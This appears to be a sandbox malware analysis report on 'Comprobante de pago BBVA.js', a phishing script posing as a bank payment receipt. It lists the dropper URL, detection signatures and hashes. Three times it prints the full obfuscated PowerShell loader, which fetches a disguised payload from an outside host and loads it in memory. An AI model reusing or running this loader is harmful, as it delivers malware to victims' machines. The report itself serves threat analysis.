Overview

overview

10

Static

static

1

Comprobant...BVA.js

windows10-2004-x64

10

Comprobant...BVA.js

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    61s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/09/2026, 12:30

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Comprobante de pago BBVA.js
  • Size 305KB
  • Sample260904-ppqcdafe44
  • SHA256 becc8edb126822dedfe243efd96307d3971afd0d1d2eeb748a94eaad01142734
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
execution

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    https://seasquadshipping.com/sksmin/newMSI_PRO.png
  • exe.dropper

    https://seasquadshipping.com/sksmin/newMSI_PRO.png

Signatures

  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 7 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

    execution
  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\Comprobante de pago BBVA.js"
    1⤵
      PID:4636
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $mawashi = ''https://seasquadshipping.com/sksmin/newMSI_PRO.png''; Add-Type -AssemblyName System.Net.Http; $hillwort = New-Object System.Net.CookieContainer; $bombylius = New-Object System.Net.Http.HttpClientHandler; $bombylius.AllowAutoRedirect = $true; $bombylius.CookieContainer = $hillwort; $flamboyants = New-Object System.Net.Http.HttpClient($bombylius); $flamboyants.DefaultRequestHeaders.Add(''User-Agent'', ''Mozilla/5.0 (Windows NT 10.0; Win64; x64)''); try { $usufruct = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Head, $mawashi); $Penobscot = $flamboyants.SendAsync($usufruct).GetAwaiter().GetResult(); $palliata = $Penobscot.Content.Headers.ContentLength; if ($null -eq $palliata) { $palliata = 5000000; } $smoosh = [Math]::Min($palliata, 3000000); $husbandlike = [Math]::Max(0, $palliata - $smoosh); $alchemistical = $palliata - 1; $festue = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Get, $mawashi); $festue.Headers.Range = New-Object System.Net.Http.Headers.RangeHeaderValue($husbandlike, $alchemistical); $mortier = $flamboyants.SendAsync($festue).GetAwaiter().GetResult(); [byte[]]$superpraise = $mortier.Content.ReadAsByteArrayAsync().GetAwaiter().GetResult(); $coldrick = [System.Text.Encoding]::ASCII.GetString($superpraise); } catch { $glyptodontid = (New-Object System.Net.WebClient).DownloadString($mawashi); $coldrick = $glyptodontid; } $venturesomely=''IN-''; $Telecross=''-in1''; $meeds = [string]::IndexOf($coldrick, $venturesomely); $sandgropers = $coldrick.LastIndexOf($Telecross); if($meeds -eq -1 -or $sandgropers -eq -1){return}; $paucal = $meeds + $venturesomely.Length; $triperoxides = $coldrick.Substring($coldrick.IndexOf($venturesomely) + $venturesomely.Length, $sandgropers - ($coldrick.IndexOf($venturesomely) + $venturesomely.Length)); $violaters = $triperoxides.Replace(''*'',''A'').ToCharArray(); $cymatogaster = -join $violaters[($violaters.Length - 1)..0]; $ipsapirone = [Type]::GetType((''System''+''.''+''Convert'') -join ''''); [byte[]]$mekin = $ipsapirone.GetMethod((''From''+''Base64''+''String'') -join '''').Invoke($null, (,$cymatogaster)); $Abelian = [AppDomain]::(''CurrentDomain''); $tricameral = $Abelian.GetType().GetMethod(''Load'', [byte[]]); $hypoxid = $tricameral.Invoke($Abelian, (,$mekin)); $ophiodon = (''68a3F9FyvitBUbPQnH3ZLVKTkGmDmtbBJEXZV8vabVZnvE/MqwzNA3UBgk6sE/WXR1KFUHufpyUfRGIejPhj64Uy0mjO21FFLQqAoVf8VfM='','''',''2y12pvk7b0ivzhEAzIgssyO6iXPGYGofOaL81GEk7BpleQJmRTsc8DP2nLnRMtLg'',''tZa3VKrF8hhS5Dmg31pKrmW4j6HWXl3fyzsKDZHoy1Y='',''C8S+Or31aHmJkj+shMTRhU6/opT9kSd8YOKqw/riBnU='','''',''06d/9Cd2/JG1RSVmk4K3wzwal82czGBd9YGu8zjVR9w='','''',''9Qa8f1FXZPY49hpL9WFoRtMRhWS89URg1h7XXBcySko='',''tb1vJz7CuUbb2jrrrl99zys76Qi4eNRYvzrUtUTGuFkDpEcQFEQoT5UPgACzN3h5'',''8Li44Zdj93ph92yzMrzhOST5uQM4z0jenfuhBAS5vRo='',''ua2ALtDB1U/RxP3QiLiGeiGXaZjjN4ra82juaRKtS3Q='',''p9aW/NbgMoPjqrYYkKXNTdqjsKLqbEsjER2KwTyc5dE='','''',''82O/QkFv6p1UjvUirLPpOHhnD6J6DAQGm+h3iXyfl7c='',''b5J5xYlqWq5vWIzVjYv4EtAvF3/FllZr8G11n1ninCQ='','''','''',''''); try { $arithmomania = ($hypoxid.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $personalia = ($arithmomania.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $personalia.Invoke($null, [object[]]$ophiodon); } catch {} finally { if ($null -ne $flamboyants) { $flamboyants.Dispose() } }'))"
      1⤵
      • Process spawned unexpected child process
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4408
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $mawashi = ''https://seasquadshipping.com/sksmin/newMSI_PRO.png''; Add-Type -AssemblyName System.Net.Http; $hillwort = New-Object System.Net.CookieContainer; $bombylius = New-Object System.Net.Http.HttpClientHandler; $bombylius.AllowAutoRedirect = $true; $bombylius.CookieContainer = $hillwort; $flamboyants = New-Object System.Net.Http.HttpClient($bombylius); $flamboyants.DefaultRequestHeaders.Add(''User-Agent'', ''Mozilla/5.0 (Windows NT 10.0; Win64; x64)''); try { $usufruct = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Head, $mawashi); $Penobscot = $flamboyants.SendAsync($usufruct).GetAwaiter().GetResult(); $palliata = $Penobscot.Content.Headers.ContentLength; if ($null -eq $palliata) { $palliata = 5000000; } $smoosh = [Math]::Min($palliata, 3000000); $husbandlike = [Math]::Max(0, $palliata - $smoosh); $alchemistical = $palliata - 1; $festue = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Get, $mawashi); $festue.Headers.Range = New-Object System.Net.Http.Headers.RangeHeaderValue($husbandlike, $alchemistical); $mortier = $flamboyants.SendAsync($festue).GetAwaiter().GetResult(); [byte[]]$superpraise = $mortier.Content.ReadAsByteArrayAsync().GetAwaiter().GetResult(); $coldrick = [System.Text.Encoding]::ASCII.GetString($superpraise); } catch { $glyptodontid = (New-Object System.Net.WebClient).DownloadString($mawashi); $coldrick = $glyptodontid; } $venturesomely=''IN-''; $Telecross=''-in1''; $meeds = [string]::IndexOf($coldrick, $venturesomely); $sandgropers = $coldrick.LastIndexOf($Telecross); if($meeds -eq -1 -or $sandgropers -eq -1){return}; $paucal = $meeds + $venturesomely.Length; $triperoxides = $coldrick.Substring($coldrick.IndexOf($venturesomely) + $venturesomely.Length, $sandgropers - ($coldrick.IndexOf($venturesomely) + $venturesomely.Length)); $violaters = $triperoxides.Replace(''*'',''A'').ToCharArray(); $cymatogaster = -join $violaters[($violaters.Length - 1)..0]; $ipsapirone = [Type]::GetType((''System''+''.''+''Convert'') -join ''''); [byte[]]$mekin = $ipsapirone.GetMethod((''From''+''Base64''+''String'') -join '''').Invoke($null, (,$cymatogaster)); $Abelian = [AppDomain]::(''CurrentDomain''); $tricameral = $Abelian.GetType().GetMethod(''Load'', [byte[]]); $hypoxid = $tricameral.Invoke($Abelian, (,$mekin)); $ophiodon = (''68a3F9FyvitBUbPQnH3ZLVKTkGmDmtbBJEXZV8vabVZnvE/MqwzNA3UBgk6sE/WXR1KFUHufpyUfRGIejPhj64Uy0mjO21FFLQqAoVf8VfM='','''',''2y12pvk7b0ivzhEAzIgssyO6iXPGYGofOaL81GEk7BpleQJmRTsc8DP2nLnRMtLg'',''tZa3VKrF8hhS5Dmg31pKrmW4j6HWXl3fyzsKDZHoy1Y='',''C8S+Or31aHmJkj+shMTRhU6/opT9kSd8YOKqw/riBnU='','''',''06d/9Cd2/JG1RSVmk4K3wzwal82czGBd9YGu8zjVR9w='','''',''9Qa8f1FXZPY49hpL9WFoRtMRhWS89URg1h7XXBcySko='',''tb1vJz7CuUbb2jrrrl99zys76Qi4eNRYvzrUtUTGuFkDpEcQFEQoT5UPgACzN3h5'',''8Li44Zdj93ph92yzMrzhOST5uQM4z0jenfuhBAS5vRo='',''ua2ALtDB1U/RxP3QiLiGeiGXaZjjN4ra82juaRKtS3Q='',''p9aW/NbgMoPjqrYYkKXNTdqjsKLqbEsjER2KwTyc5dE='','''',''82O/QkFv6p1UjvUirLPpOHhnD6J6DAQGm+h3iXyfl7c='',''b5J5xYlqWq5vWIzVjYv4EtAvF3/FllZr8G11n1ninCQ='','''','''',''''); try { $arithmomania = ($hypoxid.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $personalia = ($arithmomania.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $personalia.Invoke($null, [object[]]$ophiodon); } catch {} finally { if ($null -ne $flamboyants) { $flamboyants.Dispose() } }'))"
      1⤵
      • Process spawned unexpected child process
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3336
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $mawashi = ''https://seasquadshipping.com/sksmin/newMSI_PRO.png''; Add-Type -AssemblyName System.Net.Http; $hillwort = New-Object System.Net.CookieContainer; $bombylius = New-Object System.Net.Http.HttpClientHandler; $bombylius.AllowAutoRedirect = $true; $bombylius.CookieContainer = $hillwort; $flamboyants = New-Object System.Net.Http.HttpClient($bombylius); $flamboyants.DefaultRequestHeaders.Add(''User-Agent'', ''Mozilla/5.0 (Windows NT 10.0; Win64; x64)''); try { $usufruct = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Head, $mawashi); $Penobscot = $flamboyants.SendAsync($usufruct).GetAwaiter().GetResult(); $palliata = $Penobscot.Content.Headers.ContentLength; if ($null -eq $palliata) { $palliata = 5000000; } $smoosh = [Math]::Min($palliata, 3000000); $husbandlike = [Math]::Max(0, $palliata - $smoosh); $alchemistical = $palliata - 1; $festue = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Get, $mawashi); $festue.Headers.Range = New-Object System.Net.Http.Headers.RangeHeaderValue($husbandlike, $alchemistical); $mortier = $flamboyants.SendAsync($festue).GetAwaiter().GetResult(); [byte[]]$superpraise = $mortier.Content.ReadAsByteArrayAsync().GetAwaiter().GetResult(); $coldrick = [System.Text.Encoding]::ASCII.GetString($superpraise); } catch { $glyptodontid = (New-Object System.Net.WebClient).DownloadString($mawashi); $coldrick = $glyptodontid; } $venturesomely=''IN-''; $Telecross=''-in1''; $meeds = [string]::IndexOf($coldrick, $venturesomely); $sandgropers = $coldrick.LastIndexOf($Telecross); if($meeds -eq -1 -or $sandgropers -eq -1){return}; $paucal = $meeds + $venturesomely.Length; $triperoxides = $coldrick.Substring($coldrick.IndexOf($venturesomely) + $venturesomely.Length, $sandgropers - ($coldrick.IndexOf($venturesomely) + $venturesomely.Length)); $violaters = $triperoxides.Replace(''*'',''A'').ToCharArray(); $cymatogaster = -join $violaters[($violaters.Length - 1)..0]; $ipsapirone = [Type]::GetType((''System''+''.''+''Convert'') -join ''''); [byte[]]$mekin = $ipsapirone.GetMethod((''From''+''Base64''+''String'') -join '''').Invoke($null, (,$cymatogaster)); $Abelian = [AppDomain]::(''CurrentDomain''); $tricameral = $Abelian.GetType().GetMethod(''Load'', [byte[]]); $hypoxid = $tricameral.Invoke($Abelian, (,$mekin)); $ophiodon = (''68a3F9FyvitBUbPQnH3ZLVKTkGmDmtbBJEXZV8vabVZnvE/MqwzNA3UBgk6sE/WXR1KFUHufpyUfRGIejPhj64Uy0mjO21FFLQqAoVf8VfM='','''',''2y12pvk7b0ivzhEAzIgssyO6iXPGYGofOaL81GEk7BpleQJmRTsc8DP2nLnRMtLg'',''tZa3VKrF8hhS5Dmg31pKrmW4j6HWXl3fyzsKDZHoy1Y='',''C8S+Or31aHmJkj+shMTRhU6/opT9kSd8YOKqw/riBnU='','''',''06d/9Cd2/JG1RSVmk4K3wzwal82czGBd9YGu8zjVR9w='','''',''9Qa8f1FXZPY49hpL9WFoRtMRhWS89URg1h7XXBcySko='',''tb1vJz7CuUbb2jrrrl99zys76Qi4eNRYvzrUtUTGuFkDpEcQFEQoT5UPgACzN3h5'',''8Li44Zdj93ph92yzMrzhOST5uQM4z0jenfuhBAS5vRo='',''ua2ALtDB1U/RxP3QiLiGeiGXaZjjN4ra82juaRKtS3Q='',''p9aW/NbgMoPjqrYYkKXNTdqjsKLqbEsjER2KwTyc5dE='','''',''82O/QkFv6p1UjvUirLPpOHhnD6J6DAQGm+h3iXyfl7c='',''b5J5xYlqWq5vWIzVjYv4EtAvF3/FllZr8G11n1ninCQ='','''','''',''''); try { $arithmomania = ($hypoxid.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $personalia = ($arithmomania.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $personalia.Invoke($null, [object[]]$ophiodon); } catch {} finally { if ($null -ne $flamboyants) { $flamboyants.Dispose() } }'))"
      1⤵
      • Process spawned unexpected child process
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5760

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 39164fc53e5e2e17f0512b8b58cae7f10c141a41748bfdb76eb8c18f20c1d755
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 5b63742b508cfddc7937f58e1e66c4d44cca1d4b853307a9d33f05b59f4281e1
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          __PSScriptPolicyTest_02dlsegg.iq2.ps1
          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_02dlsegg.iq2.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          memory/3336-26-0x00007FFA952E0000-0x00007FFA95C84000-memory.dmp
          Download

          memory/3336-21-0x00007FFA952E0000-0x00007FFA95C84000-memory.dmp
          Download

          memory/3336-38-0x00007FFA952E0000-0x00007FFA95C84000-memory.dmp
          Download

          memory/3336-35-0x00007FFA952E0000-0x00007FFA95C84000-memory.dmp
          Download

          memory/3336-34-0x00007FFA952E0000-0x00007FFA95C84000-memory.dmp
          Download

          memory/3336-25-0x00007FFA952E0000-0x00007FFA95C84000-memory.dmp
          Download

          memory/3336-24-0x00007FFA952E0000-0x00007FFA95C84000-memory.dmp
          Download

          memory/3336-15-0x00007FFA952E0000-0x00007FFA95C84000-memory.dmp
          Download

          memory/3336-16-0x00007FFA952E0000-0x00007FFA95C84000-memory.dmp
          Download

          memory/3336-17-0x00007FFA952E0000-0x00007FFA95C84000-memory.dmp
          Download

          memory/3336-18-0x00007FFA952E0000-0x00007FFA95C84000-memory.dmp
          Download

          memory/3336-19-0x00007FFA952E0000-0x00007FFA95C84000-memory.dmp
          Download

          memory/3336-20-0x00007FFA952E0000-0x00007FFA95C84000-memory.dmp
          Download

          memory/3336-23-0x00007FFA952E0000-0x00007FFA95C84000-memory.dmp
          Download

          memory/3336-22-0x00007FFA952E0000-0x00007FFA95C84000-memory.dmp
          Download

          memory/4408-4-0x00007FFA952E0000-0x00007FFA95C84000-memory.dmp
          Download

          memory/4408-14-0x00007FFA952E0000-0x00007FFA95C84000-memory.dmp
          Download

          memory/4408-13-0x00007FFA952E0000-0x00007FFA95C84000-memory.dmp
          Download

          memory/4408-0-0x00007FFA9546F000-0x00007FFA95470000-memory.dmp
          Download

          memory/4408-27-0x00007FFA952E0000-0x00007FFA95C84000-memory.dmp
          Download

          memory/4408-28-0x00007FFA952E0000-0x00007FFA95C84000-memory.dmp
          Download

          memory/4408-30-0x00007FFA952E0000-0x00007FFA95C84000-memory.dmp
          Download

          memory/4408-2-0x00007FFA952E0000-0x00007FFA95C84000-memory.dmp
          Download

          memory/4408-12-0x00007FFA952E0000-0x00007FFA95C84000-memory.dmp
          Download

          memory/4408-3-0x00007FFA952E0000-0x00007FFA95C84000-memory.dmp
          Download

          memory/4408-1-0x00007FFA952E0000-0x00007FFA95C84000-memory.dmp
          Download

          memory/4408-7-0x0000022270390000-0x00000222703B2000-memory.dmp
          Download